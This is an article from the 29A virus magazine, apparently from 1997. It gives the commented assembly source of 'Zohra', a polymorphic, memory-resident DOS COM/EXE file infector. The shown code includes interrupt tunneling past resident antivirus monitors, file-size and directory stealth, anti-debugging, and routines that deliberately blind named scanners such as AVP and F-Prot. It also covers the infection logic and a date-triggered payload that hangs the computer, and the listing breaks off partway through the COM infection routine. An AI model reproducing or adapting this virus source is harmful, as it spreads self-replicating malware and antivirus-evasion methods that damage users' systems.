Copy Link
Add to Bookmark
Report
29A Issue 02 05 04
;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²±
;²² . .: .:.. :.. .. .:.::. :. ..: ²±
; ² Virus: Zohra <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===< ²±
; ² Writer: Wintermute/29A .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. ²±
; ² Size: 4004+512 (decryptor) . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ²±
; ² Origin: Madrid, Spain ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. ²±
; ² Finished: April/1997 >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> ²±
; ² . .:.. ..:. .: ..:.::. ::.. :.: ²²±
; ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²±
; ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;
; Features
; ÄÄÄÄÄÄÄÄÄÄ
;
; Zohra is a slow polymorphic Com/Exe infector that uses Sfts
; to perform its infection. It's double encrypted and gets resident by
; MCB method, reducing the last MCB's size without having to create a new
; one for itself. Also has an encryption routine ( the non-polymorphic
; one ) based on the UUencode system that consists on changing the first
; bit of each byte of the zone to encrypt to 1 and storing it in a buffer
; whose bytes have also a 1 in their most significative bit for being
; restored later; err, ok, it's well explained in the text. The polymorphic
; engine consists on some instructions and routine generators and other
; routines that change the decryption routine randomly ( see the engine ).
;
; Also tunnels the int 21h using a code analyzer ( The Tourniquet Kode
; Analyzer ), which can pass through Tbdriver, Virstop, Vshield, etc. Also,
; it has Fcb/Dta/Mcb/Time/"Half-Sft" stealth, and some good retro
; ( anti-antivirus ) that I let you discover by watching the code and
; comments ;-)
;
; The payload, a video effect ( non-destructive ), activates on 14th
; of april ( the Spanish Second Republic aniversary ) when any file is
; executed. It will not be possible to execute it from within the article
; reader by pressing "G" due to incompatibility reasons.
;
;
; Greetings in this virus go to ORP, who brought me valuable
; information about UUencode, and above all to my necromancer, my wizard
; 'Zohra', the best of the Forgotten Realms ;)
;
; Also greetings to all the 29A, to Marylin Manson, congratulations
; for 'The Roots of Sepultura', greetings to all my friends, to my BBS,
; to my cat, to Ch Guevara, to Tupac Amaru, and to underpants of the
; good luck.
;
;
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; El viento revuelve s£bitamente las hojas que el oto¤o
; tan cuidadosamente hab¡a depositado en el suelo,
; formando un precioso mosaico de tonos ocres.
;
; El sol a£n atisba t¡midamente por encima del horizonte
; recortado por las cruces y las l pidas, y si aguzas el o¡do,
; podr s sentir a los muertos gemir y susurrar los epitafios
; que nunca fueron grabados en piedra.
;
; La tristeza es un sentimiento de los vivos,
; la soledad una debilidad de los que rezan por no estar solos,
; la fe no sirve a los que no mueren, la muerte eres t£,
; y en tu cripta no hay oscuridad, no hace fr¡o y no est s solo
; porque en tu cripta el oto¤o se ha dejado su manto decadente y desconsolado
; para toda la eternidad.
;
; Su manto te protege...
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ( Gerard Casamayor )
;
;
; TASM /M2 ZOHRA.ASM
; TLINK ZOHRA.OBJ
;
.286
HOSTSEG segment BYTE ; Host program for the first generation
ASSUME CS:HOSTSEG, SS:CODIGO
Host:
mov ax,4c00h
int 21h
ends
CODIGO segment
ASSUME CS:CODIGO, DS:CODIGO, ES:CODIGO
org 00h
virus_size equ virus_end-virus_start
encrypt_size equ encrypt_end-encrypt_start
Comienzo:
virus_start label byte
push es ds
push cs cs
pop ds es
call fuera_desencriptado
encriptado equ encrypt_end-encrypt_start
encrypt_start label byte
continuemos:
mov si,29Ah ; Mapoulas PAUER ! ;)
mov ax,0db15h
int 21h
cmp si,29A0h
jnz tunneling
jmp ya_instalado
;**************************
; THE TOURNIQUET KODE ANALYZER
; ---------------------------------
tunneling:
xor ax,ax ; Gets int21h handler
mov ds,ax
lds si,ds:[0084h]
mov word ptr cs:[int21h+bp],si
mov word ptr cs:[int21h+bp+2],ds
mov ax,ds
cmp ax,300h ; If it belongs to Dos, we go and
ja analizar ;install
jmp tunnel_hecho
analizar:
lodsb ; Looks for a byte in ds:si ( where
cmp al,41h ;the int21h points ), and in the
ja @@mayor_40 ;following code identifies the
and al,00001111b ;instruction, adding it's size to di
;and continuing the identification.
; Group < 40h
cmp al,3h
ja @@nointvar
@@ii: jmp @variable_instruction
@@nointvar:
cmp al,5h ;This first byte of the place pointed
jb @bytes_2 ;by ds:si is going to tell us in
jz @bytes_3 ;the majority of cases it's length,
cmp al,8h ;if it's a jmp far, call far, an
jb @bytes_1 ;invalid opcode ( for 8086 ), etc
jz @@ii
cmp al,0ch
jb @variable_instruction ; Some instructions don't
jz @bytes_2 ;have a fixed length gived by their
cmp al,0dh ;first byte, so we'll have to see
jz @bytes_3 ;more of them: this, in @variable...
ja @bytes_1
; Group > 40h
@@mayor_40:
cmp al,60h ; From 40h to 6fh
jb @bytes_1
cmp al,70h
jnb @@mayor6f
jmp @invalida
; > 6fh
@@mayor6f:
cmp al,80h
jb @conditional_jmps ; Conditional jump opcodes
; Mayores a 7fh
cmp al,81h
jb @variable_instruction_1
jz @variable_instruction_2
cmp al,84h
jb @variable_instruction_1
cmp al,8fh
jbe @variable_instruction
; A partir de 90h
cmp al,09ah
jb @bytes_1
jnz @@@@@@
mov cx,0ffffh
jmp @posible_salto ; A far call.
@@@@@@:
cmp al,0a0h
jb @bytes_1
; From 0a0h
cmp al,0a4h
jb @bytes_3
cmp al,0b0h
jb @bytes_1
cmp al,0b8h
jb @bytes_2
cmp al,0c0h
jb @bytes_3
cmp al,0c3h
jbe @invalida ; We take ret as invalid instruction, as
;we'll ignore any call that is made: won't
;every call return to the same place ?
; From 0c4h
jmp @desdec4
@conditional_jmps: ; jz, jnz, ja...
mov cx,5
@comparar:
cmp si,word ptr cs:[cond_place]
inc bx ; We look if we made this jmp just before
inc bx
jz @lo_hacemos ; If we've got Si, we have been there:
loop @comparar ;we make the conditional jump.
mov bx,word ptr cs:[cond_flag]
mov word ptr cs:[cond_place],si ; If not, we keep SI,
inc si ; the execution jump, to jump the next
jmp analizar ;time we pass through there ( to avoid
;something like [cmp ax,bx-jz xxx-jmp
;compare], that would hang the computer
@lo_hacemos: ;beeing an infinite loop
jmp @jmpshort
@bytes_3:
inc si
@bytes_2:
inc si
@bytes_1:
jmp analizar
@invalida: ; Iret or invalid instruccion found: we don't
jmp ya_instalado ;install.
@variable_instruction_2: ; How this variable instructions work
lodsb ;is explained on the table at the end
inc si ;of the code analyzer
inc si
jmp @@@instvar2
@variable_instruction_1:
lodsb
inc si
jmp @@@instvar2
@variable_instruction:
lodsb
@@@instvar2:
cmp al,40h
jnb @@@may_40
and al,00001111b
cmp al,0eh
jz @@variosmas
cmp al,06h
jnz @@variosmas
jmp analizar
@@variosmas:
inc si
inc si
jmp analizar
@@@may_40:
cmp al,80h
jnb @@@may_80
inc si
jmp analizar
@@@may_80:
cmp al,057h
jnb @bytes_1
inc si
inc si
jmp analizar
@desdec4:
cmp al,0c6h
jb @variable_instruction
jz @variable_instruction_1
cmp al,0c7h
jz @variable_instruction_2
cmp al,0cah
jb @invalida
jz @bytes_3
cmp al,0cch
jb @invalida ; We'll also take a retf as invalid
jz @bytes_1
cmp al,0ceh
jb @bytes_2
jz @bytes_1
cmp al,0cfh
jz @invalida ; Iret, we return from interrupt.
; From 0d0h
cmp al,0d4h
jb @variable_instruction
cmp al,0d6h
jb @bytes_2
jz @invalida
cmp al,0d7h
jz @bytes_1
cmp al,0e0h
jb @variable_instruction
cmp al,0e8h
jb @bytes_2
jz @bytes_3 ; Near call: we ignore it
cmp al,0eah
jb @jmpnext
jz @posible_salto ; Jmp far
cmp al,0ebh
jz @jmpshort
cmp al,0f1h
jb @go_bytes_1
jz @invalida
cmp al,0feh
jb @go_bytes_1
lodsb ; If a jmp with a register ( jmp Si, for
cmp al,20h ;example ) is made, we go withouth
jb @valida_ff ;installing: we can't emulate it because
cmp al,2fh ;we don't know the registers
ja @valida_ff
jmp ya_instalado
@valida_ff:
jmp @@@instvar2
@go_bytes_1:
jmp @bytes_1
@jmpshort: ; Near jump, the nearest 80 bytes up or down:
lodsb ;we check, and make it.
xor ah,ah
cmp al,80h
jb @addit
neg al ; If it's a jmp to previous code
sub si,ax
jmp analizar
@jmpnext: ; 3 bytes
lodsw
@addit:
add si,ax ; Next jmps are coded E9 XX YY; distance
jmp analizar ;is = current+3+YYXX
@posible_salto: ; Jump to int21h in the code; found a far call/jmp
les dx,ds:[si] ;that leads us to Dos code
mov ax,es
cmp ax,300h
ja @nomemola
mov word ptr cs:[int21h+bp],dx
mov word ptr cs:[int21h+bp+2],es
jmp tunnel_hecho
@nomemola:
inc cx ; If not, we make the jmp in case
jz @passo ;it's a jmp and not a call, and
push es dx ;continue analyzing
pop si ds
jmp analizar
@passo:
add si,4
jmp analizar
cond_flag:
db 0
cond_place:
dw 0
; ****************************************************************************
; OPCODE TABLE
; ----------------------------------------------------------------------------
;
; This table is which I made for myself with the 8086 opcodes: I suppose it
; will make easier the code analyzer understanding, and maybe it also will
; be of use to someone...
;
; Length of instructions that can be coded by the Pc ( 8086 )
; -----------------------------------------------------------
;
; Those that have special importance for the Code Analyzer ( rets, calls and
; jumps ) are signaled. The others are normal instructions of the computer set.
;
; Sometimes in "first byte" I include some opcodes; this means that in all
; that range the byte conditions and length are the same. Length indicates
; how much the instruccion size is ( each interrogation means half byte, two
; hexadecimal figures ):
;
; ****************************************************************************
; Each 7h bytes the same list is repeated, I mean, the bytes size will be
; the same at positions 01h, 09h, 10h, 19h, 20h, 29h, 30h and 39h. When
; getting to 40h it changes:
;
; 0 <= Y < 40h
;
; Y can take any value between them
;
; 1st byte 2nd byte next length
;
; Y0h-Y3h * Variable instruction
;
; Y4h ?? - 2 bytes
;
; Y5h ?? ?? 3 bytes
;
; Y6h-Y7h - - 1 byte
;
; Y8h-Ybh * Variable instruction
;
; Ych ?? - 2 bytes
;
; Ydh ?? ?? 3 bytes
;
; Yeh-Yfh - - 1 byte
;
;
; Next part: All are one byte instructiones, between 40h and 6fh. Although,
; instructions between 60h and 6fh ( included ) are invalid.
;
; 40h-6fh - - 1 byte
;
; Part three: Conditional jumps, starting from 70h to 7fh
;
; 70h-7fh - - 2 bytes
;
; Now, a group of different instructions:
;
; 80h,82h,83h * Variable instruction ( +1 )
;
; 81h * Variable instruction ( +2 )
;
; 84h-8fh * Variable instruction
;
; Between 90h and 99h there are more one byte instructions, except in 9Ah;
; this opcode is the "call far" instruction.
;
; 90h-99h - - 1 byte
;
; 9ah ?? ?? ?? ?? 4 bytes
;
; 9bh-9fh - - 1 byte
;
; New list, we start from 0a0h
;
; 0a0h-0a3h ?? ?? 3 bytes
;
; 0a4h-0afh - - 1 byte
;
; 0b0h-0b7h ?? - 2 bytes
;
; 0b8h-0bfh ?? ?? 3 bytes
;
; 0c0h-0c1h Invalid
;
; This is a ret [immed]
;
; 0c2h ?? ?? 3 bytes
;
; Ret
;
; 0c3h - - 1 byte
;
;
; 0c4h,0c5h * Variable instruction
;
; 0c6h * Variable instruction ( +1 )
;
; 0c7h * Variable instruction ( +2 )
;
; 0c8h-0c9h Invalid
;
; Return far [inmed]
;
; 0cah ?? ?? 3 bytes
;
; Return far
;
; 0cbh - - 1 byte
;
; 0cch - - 1 byte
;
; 0cdh ?? - 2 bytes
;
; 0ceh - - 1 byte
;
; ( Interrup Return )
;
; 0cfh - - 1 byte
;
; 0d0h-0d3h * Variable instruction
;
; 0d4h-0d5h ?? - 2 bytes
;
; 0d6h Invalid
;
; 0d7h - - 1 byte
;
; 0d8h-0dfh * Variable instruction
;
; 0e0h-0e7h ?? - 2 bytes
;
; Call
;
; 0e8h ?? ?? 3 bytes
;
; jmp next
;
; 0e9h ?? ?? 3 bytes
;
; jmp far
;
; 0eah ?? ?? ?? ?? 5 bytes
;
; jmp short
;
; 0ebh ?? - 2 bytes
;
; 0ech-0f0h - - 1 byte
;
; 0f1h Invalid
;
; 0f2h-0fdh - - 1 byte
;
;
; 0feh-0ffh * Variable instruction
;
; ***************************************************************************
; ---------------------------------------------------------------------------
;
; * Variable instruction ( those which values change depending on the second
; byte )
;
; A (+1) or a (+2) tells the number of bytes to add to the number of bytes
; shown at the column on the right. The values on the left belong to the
; second byte red
;
;
; If it's < 40h
;
; XEh o X6h ?? ?? 4 bytes
; <>XEh & <>X6h - 2 bytes
;
; If 3fh < x < 80h
;
; ?? ?? 3 bytes
;
; If 7fh < x < c0h
;
; ?? ?? 4 bytes
;
; If 0bfh < x
;
; ?? - 2 bytes
;
;
; *************************** END OF TUNNELING ****************************
regs2zero:
xor ax,ax ; Zero registers
mov bx,ax
mov cx,ax
cwd
mov si,ax
ret
tunnel_hecho:
push cs
pop ds
ant_debug:
push ax ; Anti-debugging routine
pop ax
dec sp
dec sp
pop bx
cmp ax,bx
jz @getmcb
mov ax,4c00h
int 21h
@getmcb:
call get_z_mcb ; We take the last Mcb
el_ultimo:
pop dx
push dx
cmp word ptr es:[1],0h ; Is it free ?
jz parlante ; If not...
cmp word ptr es:[1],dx ; Or with active Psp ?
jne ya_instalado
parlante:
cmp word ptr es:[3],(((virus_size+15)/16)*2)+24h
jb ya_instalado ; Enough size ?
mov bx,word ptr es:[3]
sub bx,(((virus_size+15)/16)*2)+23h;512 bytes of poly
mov es:[3],bx ; Mcb Z new size
add di,bx
inc di ; We point to the program
mov es,di
push di
xor di,di
mov si,bp
push di si
mov cx,virus_size
push cx
rep movsb ; We copy the virus in memory
pop cx si
add di,201h ; Re-copy ( 256 bytes ahead )
rep movsb
pop di ; We copy the decryptor instructions to
lea si,[instr_start+bp] ; keep the originals safe against
mov cx,instrsize ; our own changes.
rep movsb
xor ax,ax
mov es,ax
pop ax
push ax
sub ax,100h ; We reduce 100h bytes the
cli ;segment and augments 1000h
mov word ptr es:[0086h],ax ;bytes the offset with the
lea dx,handler_int_21 ;objective that is explained
add dx,1000h ;at the Int21h handler
mov word ptr es:[0084h],dx ;( confuse the advanced user )
sti
installed:
xor bp,bp ; We continue the execution in
push offset ya_instalado ;memory
retf
ya_instalado:
pop ds es
mov ax,ds ; Is stack segment same as code
mov bx,ss ;segment ?
cmp ax,bx ; If it is, we've infected a Com
jz restaura_com ;file
mov si,ds ; We restore the stack
add si,cs:word ptr [ss_sp+bp]
add si,10h
cli
mov ss,si
mov sp,cs:word ptr [ss_sp+bp+2]
sti
mov si,ds ; And now we jump pushing
add si,cs:word ptr [cs_ip+bp+2] ; and with a retf to the
add si,10h ; old beggining of the host
push si
push cs:word ptr [cs_ip+bp]
call regs2zero
retf ; Here has happened nothin !
restaura_com:
push cs
pop ds
push es
mov di,100h ; Restores the header ( three
push di ;first bytes ) if it's a Com.
lea si,bp+header
movsw
movsb
call regs2zero
push es
pop ds
retf
get_z_mcb:
mov ah,52h ; We obtain the List of Lists
int 21h
mov di,es:[bx-2]
mov es,di
loop_da_mcb:
cmp byte ptr es:[0],'Z' ; Search for Mcb 'Z'
jnz @sigue_findin
ret
@sigue_findin: add di,es:[3] ; Mcb Z segment is in ES
inc di
mov es,di
jmp Loop_da_mcb
call_flag: dw 0
infected_flag: db 0
push_all_regs: cli ; Pushes all registers
pop cs:word ptr [call_flag] ;
pushf
push ax bx cx dx di si ds es bp
push cs:word ptr [call_flag]
sti
ret
pop_all_regs: cli ; Restores all registers
pop cs:word ptr [call_flag]
pop bp es ds si di dx cx bx ax
popf
push cs:word ptr [call_flag]
sti
ret
;****************************************************************************
; PAYLOAD
;----------------------------------------------------------------------------
;
; Non destructive, it activates the aniversary of the spanish Second
; Republic proclamation ( day 14th of april ), showing some video effects
; to the user and printing the virus message.
;
payload:
mov ax,0b800h ; Where the text page is
mov ds,ax ; On Ds
mov bx,0100h*8h
loop_segundo:
mov cx,(80*25*2)
loop_it:
dec cx
mov si,cx
add word ptr ds:[si-1],4h ; We add 4h to each character
loop loop_it ;of the screen to change it,
dec bx ;it's color...
jnz loop_segundo
mov bx,80*25*2
xor si,si
loop_decrem:
mov word ptr ds:[bx],0 ; Now, the screan cleaning
mov word ptr ds:[bx-2],0 ;effect
mov word ptr ds:[si],0
mov word ptr ds:[si+2],0
push ax dx ; Delay for the cleaning: waits the
mov dx,3dah ;vertical retrazing of the monitor
del1: in al,dx ;to continue
test al,8
jne del1
del2: in al,dx
test al,8
je del2
pop dx ax
not_delay:
sub bx,4 ; Pointers for black spaces
add si,4
cmp bx,80*25 ; Have we reached the end ?
jnb loop_decrem
zohra_text:
xor bx,bx ; Now we print the Zohra message,
xor di,di ;that is in 'thetext'
push cs
pop ds
lea si,thetext ; ( "Zohra will live forever...
mov cx,1 ; necromancy with her!" )
@print:
mov ah,2h ; We place the cursor at the center
mov dx,0c0eh ;of the screen
add dx,di
int 10h
mov bl,02h ; We print with int10h to give some
lodsb ;color to this ;)
cmp al,0h
jz acabado
mov ah,09h
int 10h
inc di
jmp @print
acabado:
jmp $ ; I love hanging computers X-)
;****************************************************************************
; STEALTH DE FCB
;----------------------------------------------------------------------------
fcb_stealth: ; Stealth on 11h/12h
xchg ah,al
pushf
call dword ptr cs:[Int21h]
test al,al
jnz nada_de_stealth
push es ax bx
mov ah,51h
int 21h
mov es,bx
cmp bx,es:[16h]
jnz Not_infected
mov bx,dx
mov al,byte ptr [bx]
push ax
mov ah,2fh
int 21h
pop ax
inc al
jnz Normal_FCB
add bx,7h
Normal_FCB:
mov al,es:[bx+17h]
and al,1eh
xor al,1eh
jnz Not_infected
sub word ptr es:[bx+1dh],Virus_size+202h
sbb word ptr es:[bx+1fh],0
and byte ptr es:[bx+17h],06bh
Not_infected:
pop bx ax es
nada_de_stealth: retf 2
;*** 5700h
time_stealth:
xchg ah,al ; Returns apparently correct
pushf ;seconds
call dword ptr cs:[int21h]
push cx
and cl,01eh
xor cl,01eh
pop cx
jnz Vietnow
and cl,0eh
Vietnow:
iret
;****************************************************************************
; NEW INT 21h
;----------------------------------------------------------------------------
; Next motherfucker gonna get my metal
; The int21h handler is in "handler_int_21", after this
;( maybe the user likes the U of debug )
before:
popf
xchg ah,al ; To avoid Avp's 'trace warning', which
cmp ax,5700h ;only checks if there is a cmp ah,4bh
jz time_stealth ;instruction
cmp al,11h
jz fcb_stealth
cmp al,12h
jz fcb_stealth
cmp al,4ch
jnz dont_restore_memory
dec byte ptr cs:[flag1] ; Restores last Mcb size to
jnz @nope2 ;protect our virus after out
call push_all_regs ;anti-mem routine.
call get_z_mcb
sub word ptr es:[3],((virus_size/16)*2)+22h
call pop_all_regs
@nope2: jmp nope
dont_restore_memory:
cmp al,03ch
je open_filexz
cmp al,05bh
je open_filexz
cmp al,03dh
je open_filexz
cmp al,06ch
je open_filexz
cmp al,4eh
jz go_handle
cmp al,4fh
jnz non_handle
go_handle: jmp handle
non_handle:
cmp ax,015dbh
jnz tira_venga
jmp install_check
tira_venga: cmp al,4bh
jnz eing
jmp infeccion
eing:
cmp al,3fh ; File read
jnz @nope2
jmp lets_do_stuff
handler_int_21:
pushf ; This routine tries to make
push cs ;the advanced users believe
push offset before ;this isn't a virus: the
push bp ;offset is bigger than 1100h,
mov bp,sp ;so it looks like a normal
add word ptr ss:[bp+4],100h;( and big ) program
pop bp ; The routine itself, returns
retf ;to the real offsets and
;tries also not to look like a
;virus
;****************************************************************************
; Open file handle
;----------------------------------------------------------------------------
open_filexz: ; You can kill yourself now because you're dead in my mind
xchg ah,al
pushf
call dword ptr cs:[int21h]
call push_all_regs
mov dx,'VA' ; Avp ( 3.0beta )
push bx
call get_prog_in_env
pop bx
jc tenemos_al_avp
mov dx,'VI' ; Shitvircible
push bx
call get_prog_in_env
pop bx
jc la_mierda_nos_ronda
push offset @@cont ; Obtain actual Sft
@get_da_sft:
mov ax,1220h
int 2fh
jc @@go_out
xor bx,bx
mov bl,byte ptr es:[di]
mov ax,1216h
int 2fh ; In ES:DI we get the Sft entry that
@@go_out: ret ;belongs to the actual file.
@@cont:
jc go_out
; If it's infected, we reduce it <virus_size>
mov al,byte ptr es:[di+0dh] ; bytes at the file Sft
and al,01eh ;
xor al,01eh
jnz go_out
inc byte ptr [infected_flag]
sub word ptr es:[di+11h],Virus_size+202h
sbb word ptr es:[di+13h],0
jmp go_out
tenemos_al_avp: cmp bx,5 ; I check a pair of values of Avp 3.0b when
jnz go_out ;opening, enough specific to not damage
cmp si,402dh ;older versions: I make zero the opened file
jnz go_out ;size, and Avp 3.0 will detect NO VIRUSES
call @get_da_sft
mov word ptr es:[di+11h],0
mov word ptr es:[di+13h],0
go_out:
call pop_all_regs
definetly: retf 2
la_mierda_nos_ronda:
cmp bx,3b20h ; Ok, I don't think I need more code to
jnz go_out ;make Shitvircible blind... bah, I'm
call pop_all_regs ;sure in a pair of years it's still
stc ;unable to detect my Zohra... Zvi Netiv,
jmp definetly ;guy, your Invircible SUX !!!
install_check:
cmp si,29Ah ; If it's in memory it returns 29A0h in
jnz nope ;SI
mov si,29A0h
iret
nope:
xchg ah,al
jmp salto_a_int21h
;****************************************************************************
; HANDLE STEALTH
;----------------------------------------------------------------------------
handle:
xchg ah,al
pushf ; Handle stealth, functions
call dword ptr cs:[Int21h] ;4eh/4fh
jc handle_out
pushf
push dx ax es bx di
mov dx,'KP' ; Pkunzip, don't stealth
call get_prog_in_env ;when used
jc not_infec
mov dx,'RA' ; Arj, same with it
call get_prog_in_env
jc not_infec
mov dx,'AR'
call get_prog_in_env ; Rar archive
jc not_infec
mov dx,'UU'
call get_prog_in_env ; UUencode utilities
jc not_infec
mov dx,'-F' ; Anti F-prot's anti-stealth
call get_prog_in_env ;( doesn't make stealth when
jc not_infec ;it's executing )
mov ah,2fh
int 21h
mov al,es:[bx+16h]
and al,1eh
xor al,1eh
jnz not_infec
sub word ptr es:[bx+1ah],Virus_size+202h
sbb word ptr es:[bx+1ch],0
and byte ptr es:[bx+16h],06bh
not_infec:
pop di bx es ax dx
popf
handle_out:
retf 2
;****************************************************************************
; INFECT !
;----------------------------------------------------------------------------
infeccion:
xchg ah,al
call push_all_regs
mov si,dx
mov di,ds
xor bp,bp ; For the div
mov ax,3500h
int 21h ; We handle int 00h, divide overflow,
push es bx ;so we only have to make a 'div bp'
mov ah,25h ;to jump to int21h, making the
push ax ;heuristic engines ( even Avp ) not
push cs ;to have any idea of what we are
pop ds ;doing
lea dx,rutinadiv
int 21h
mov ah,2ah ; Puts the first number for the
div bp ;"random" number: month, day, hour
mov word ptr [num_aleat],dx
; Virus activation:
cmp dx,040eh ; Fourteenth of april
jnz noche
jmp payload
noche:
mov ax,3524h
div bp ; Handling of int24h, avoid errors
push bx es
push cs
pop ds
lea dx,int24h
mov ah,25h
div bp
push ax
mov dx,si
mov ds,di
loop_exe: ; Do not infect:
inc si
cmp word ptr ds:[si],'BT' ; Tbav...
jz nos_piramos
cmp word ptr ds:[si],'VA' ; Avp...
jz nos_piramos
cmp word ptr ds:[si],'CS' ; Avscan, Xscan, Scan...
jz nos_piramos
cmp word ptr ds:[si],'VI' ; Invircible
jz nos_piramos
cmp byte ptr ds:[si],0
jz final_cero
jmp loop_exe
final_cero:
mov byte ptr cs:[flag1],0 ; Is Mem.exe executing ?
cmp ds:[si-7],'EM'
jnz nadarl
cmp ds:[si-5],'.M'
jz memory_test
nadarl: cmp ds:[si-7],'IW' ; And Windoze ?
jnz noeswin
cmp ds:[si-5],'.N'
jz ant_memory_test
noeswin:
dec si
dec si
cmp ds:[si],'EX' ; ¨ Is it an .Exe ?
jz Es_un_exe
jmp Podriaseruncom
Es_un_exe:
mov ax,3d02h ; Open r/w
div bp
jnc continua_infecci¢n
nos_piramos: jmp vamonox
ant_memory_test:
lea di,int21h ; Restore original int21h
lds dx,cs:[di]
mov ax,2521h
div bp
Memory_test: ; The virus gets here if the Mem.exe file has been
;executed: if that's right, it adds it's size to the
call get_z_mcb ; last Mcb so it appears the same free
add es:[3],((virus_size/16)*2)+22h ; memory than before
inc byte ptr cs:[flag1] ; installing ( later it's
jmp vamonox ; restored, of course ;) )
Ir_cerrar: jmp cerramos
continua_infecci¢n:
xchg bx,ax
push bx
call @get_da_sft ; Let's go with Sft infection!
pop bx
push es di
lea dx,header ; We read the exe header...
push cs cs
pop ds es
mov ah,3fh
mov cx,01ch
div bp
mov si,dx ; and move it to the second copy
mov di,virus_size+201h+offset header ; of the virus
rep movsb
pop di es
cmp word ptr es:[di+11h],01f40h ; Too little file ?
jb ir_cerrar
;File size=file image+header?
mov ax,word ptr es:[di+11h]
mov dx,word ptr es:[di+13h]
push ax dx
mov ax,word ptr [header+4] ; Number of pages
dec ax
mov cx,200h
mul cx
add ax,word ptr [header+2] ; Last page
adc dx,0 ; dx-ax length of file
pop cx si
cmp cx,dx ; Jumps also if attrib<>0, so
jnz ir_cerrar ;doesn't infect +r files. I
cmp si,ax ;thought to change some
jnz ir_cerrar ;things, but I prefer it this
;way: slowest reproduction
mov al,byte ptr [header] ; Is it MZ ?
add al,byte ptr [header+1]
cmp al,'M'+'Z'
jnz Ir_Cerrar
mov ax,word ptr es:[di+0dh]
and al,1eh ; Is it infected ?
xor al,1eh
jz ir_cerrar
push word ptr es:[di+0dh]
push word ptr es:[di+0fh]
push offset rout_fecha ;( this to be called by the Com
@comp_tiempo: ;infector )
; Doesn't infect if the file date
mov ah,2ah ;is the same today's date ( to avoid
div bp ;bait-files and some antivirus
mov ax,word ptr es:[di+0fh] ;programs that use this like
mov cx,ax ;Shitvircible )
and ax,01fh
cmp al,dl
jnz puedes_seguir
and cx,01e0h
ror cx,5
cmp cl,dh
jnz puedes_seguir
add sp,6h
jmp fecha
puedes_seguir:
ret
rout_fecha:
mov ax,word ptr es:[di+11h]
mov dx,word ptr es:[di+13h]
mov es:[di+15h],ax
mov es:[di+17h],dx
mov cx,10h
div cx
sub ax,word ptr ds:[header+8]
mov byte ptr ds:[1],dl ; Delta offset, we put it in the
;instructions
call copiarse
mov ds:word ptr [cs_ip+2],ax ; We actualize header
inc ax
mov ds:word ptr [ss_sp],ax
mov ds:word ptr [cs_ip],dx
mov ds:word ptr [ss_sp+2],((virus_size+300h-15h)/2)*2
mov ax,word ptr es:[di+11h]
mov dx,word ptr es:[di+13h]
mov cx,200h
div cx
inc ax
mov word ptr [header+2],dx ; File size, etc
mov word ptr [header+4],ax
mov word ptr [header+0ah],((virus_size)/16)+10h
mov word ptr es:[di+15h],0
mov word ptr es:[di+17h],0
mov ah,40h ; Write header
mov cx,01ch
lea dx,header
push cs
pop ds
div bp
fecha:
pop dx cx
mov ax,5701h
or cl,1fh ; New file time
div bp
cerramos:
mov ah,3eh ; Closing
div bp
vamonox:
pop ax ds dx ; Restore int24h
div bp
pop ax ds dx ; Restore int0h
div bp
call pop_all_regs
jmp salto_a_int21h
;****************************************************************************
; 3fh Handler
;----------------------------------------------------------------------------
get_prog_in_env: ; This routine gets the name of the program that
;is executing in this moment; compares the name
;that was sent in Dx with the two first letters
;of it.
mov ah,62h ; Active Psp
int 21h
mov es,bx
mov es,word ptr es:[2ch] ; environment_segment
xor di,di
mov al,0
@find_em: scasb
jnz @find_em
cmp byte ptr es:[di],0
jnz @find_em
add di,3
miremos:
mov bx,word ptr es:[di] ; Compares dx, set by the
cmp dx,bx ;previous routine, with what
jnz sigamos_con_eto ;we've found as file name
stc ; We left the carry set if it
ret ;found it.
sigamos_con_eto:
mov al,5ch ; Searches '\'
joder_busca: scasb
jz miremos
cmp byte ptr es:[di],0h ; Or the end
jnz sigamos_con_eto
volvemos_ya:
clc
ret
;****************************************************************************
; Function 3fh handler
;----------------------------------------------------------------------------
lets_do_stuff: ; I had a little monkey I sent him to the country
xchg ah,al
call push_all_regs
cmp al,1
jz @vete_pues
cmp bx,8
jnz @vete_pues
mov dx,'-F' ; F-prot ?
call get_prog_in_env
jnc @vete_pues
call pop_all_regs
pushf
call dword ptr cs:[int21h]
call push_all_regs
push ds dx ; Breaks F-prot's ability of detecting
pop di es ;viruses: when it reads data from a file,
xor si,si ;the virus sends the interrupt vector table,
mov ds,si ;so F-prot --doesn't detect any virus--
rep movsb
call pop_all_regs
retf 2
@vete_pues:
call pop_all_regs
jmp salto_a_int21h
;****************************************************************************
; Com infection
;----------------------------------------------------------------------------
; 'Pon la mano as¡ como si fueras a pedir...'
nosvamosya:
jmp cerramos
podriaseruncom:
cmp ds:[si],'MO' ; Is it a Com file ?
jnz nosvamosya
mov ax,3d02h ; Open r/w
div bp
jc nosvamosya
sigamosconeto:
xchg ax,bx
push bx
call @get_da_sft ; We get the file sft
pop bx
push cs
pop ds
cmp word ptr es:[di+11h],01f40h ; Too short ?
jb nosvamosya
cmp word ptr es:[di+11h],0ffffh-virus_size-300h
ja nosvamosya ; Too large ?
mov ax,word ptr es:[di+0dh]
and al,1eh ; Infected ?
xor al,1eh
jz nosvamosya
no_rulado_aun:
push word ptr es:[di+0dh] ; Push time/date
push word ptr es:[di+0fh]
call @comp_tiempo
mov ah,3fh
mov cx,3 ; Read first three bytes
lea dx,header+201h+virus_size
div bp
